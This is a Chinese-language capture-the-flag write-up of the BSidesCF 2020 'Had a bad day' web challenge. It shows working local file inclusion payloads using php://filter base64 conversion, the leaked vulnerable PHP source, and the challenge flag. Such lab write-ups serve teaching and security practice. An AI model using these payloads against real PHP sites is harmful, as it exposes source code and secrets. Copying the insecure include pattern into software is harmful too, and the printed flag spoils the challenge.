[BSidesCF 2020]Had a bad day

---

首页长这样

按下WOOFERS后访问

/index.php?category=woofers

并且随机显示一张小狗的图片

按下MEOWERS后访问

/index.php?category=meowers

并且随机显示一张小猫的图片

---

尝试对category进行修改

/index.php?category=123

Sorry, we currently only support woofers and meowers.

/index.php?category=1woofers

Warning: include(1woofers.php): failed to open stream: No such file or directory in /var/www/html/index.php on line 37

Warning: include(): Failed opening '1woofers.php' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/index.php on line 37

说明category的参数会经过一次是否包含woofers或meowers的检查，接着被加上.php后缀传给include函数进行包含

---

尝试使用%00进行截断

/index.php?category=flag.php%00woofers

Warning: include(): Failed opening 'flag.php' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/index.php on line 37

发现并不能读取到

尝试使用php://filter伪协议对index.php进行读取

使用一个php://filter伪协议的trick

/index.php?category=php://filter/read=convert.base64-encode/write=woofers/resource=index

返回了base64编码后的index.php

<?php
$file = $_GET['category'];

if(isset($file))
{
	if(strpos($file, "woofers") !== false || strpos($file, "meowers") !== false || strpos($file, "index")){
		include ($file . '.php');
	}
	else{
		echo "Sorry, we currently only support woofers and meowers.";
	}
}
?>

和预想的后端实现一致，不过index不出现在第一个位置上就不会被ban，所以上面的trick其实可有可无

尝试直接读取flag.php

/index.php?category=php://filter/read=convert.base64-encode/write=woofers/resource=flag

<!-- Can you read this flag? -->
<?php
 // flag{a8e44af0-53eb-441c-b549-8a5a50523ffe}
?>

终于做到水题啦QwQ

#PHP #Web #伪协议 #bypass #encoding #LFI